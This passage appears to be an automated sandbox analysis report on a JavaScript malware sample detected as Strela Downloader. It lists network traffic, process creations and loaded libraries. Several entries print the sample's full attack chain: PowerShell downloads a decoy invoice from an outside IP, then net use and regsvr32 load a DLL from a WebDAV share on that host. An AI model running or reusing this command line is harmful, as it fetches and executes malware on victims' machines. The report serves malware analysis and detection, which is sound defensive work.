6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.5:62319 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:50345 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: wscript.exe, 00000000.00000003.2109351422.00000243DF278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2183483646.00000246BE681000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE657000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE664000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2172479327.00000246BE657000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2169544882.00000246BE67E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2183240266.00000246BE628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: net.exe, 00000007.00000002.2183240266.00000246BE664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: svchost.exe, 00000009.00000002.3396244743.000001791D48C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2175433316.000001791D2A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5788, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 201672639780846903.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:368:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uenim14n.nyu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1620,i,5557146196717324142,13555585375266243724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1620,i,5557146196717324142,13555585375266243724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
